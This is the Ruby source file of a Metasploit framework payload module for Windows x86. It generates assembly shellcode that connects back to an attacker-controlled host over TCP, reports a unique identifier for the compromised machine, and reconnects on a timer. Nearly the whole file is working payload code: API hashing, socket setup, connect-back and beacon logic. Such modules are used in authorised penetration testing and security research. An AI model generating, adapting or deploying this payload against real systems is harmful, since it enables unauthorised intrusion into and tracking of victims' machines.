metasploit-framework/modules/payloads/singles/windows/pingback_reverse_tcp.rb

160 lines
6.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 307
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Payload::Pingback
include Msf::Payload::Windows::BlockApi
include Msf::Payload::Pingback::Options
include Msf::Payload::Windows::Exitfunk
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Windows x86 Pingback, Reverse TCP Inline',
'Description' => 'Connect back to attacker and report UUID (Windows x86)',
'Author' => [ 'bwatters-r7' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Pingback
)
)
def required_space
# Start with our cached default generated size
space = cached_size
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
space += 15
space
end
def generate(_opts = {})
encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack1('V')
retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max
pingback_count = datastore['PingbackRetries']
pingback_sleep = datastore['PingbackSleep']
self.pingback_uuid ||= generate_pingback_uuid
uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')
conf = { exitfunk: datastore['EXITFUNC'] }
asm = %^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
mov eax, ebp
call eax ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this struct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
set_address:
push #{pingback_count} ; retry counter
push #{retry_count} ; retry counter
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
create_socket:
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz connected
handle_connect_failure:
; decrement our attempt count and try again
dec dword [esi+8]
jnz try_connect
failure:
call exitfunk
; this label is required so that reconnect attempts include
; the UUID stuff if required.
connected:
send_pingback:
push 0 ; flags
push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID
call get_pingback_address ; put pingback_uuid buffer on the stack
db #{uuid_as_db} ; PINGBACK_UUID
get_pingback_address:
push edi ; saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
call ebp ; call send
cleanup_socket:
; clear up the socket
push edi ; socket handle
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket(socket)
^
if pingback_count > 0
asm << %^
mov eax, [esi+12]
test eax, eax ; pingback counter
jz exitfunk
dec [esi+12]
sleep:
push #{(pingback_sleep * 1000)}
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call ebp ;sleep(pingback_sleep * 1000)
jmp create_socket
^
end
asm << %(
; restore the stack back to the connection retry count
dec [esi+8] ; decrement the retry counter
jmp exitfunk
; try again
jnz create_socket
jmp failure
)
if conf[:exitfunk]
asm << asm_exitfunk(conf)
end
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end
end
end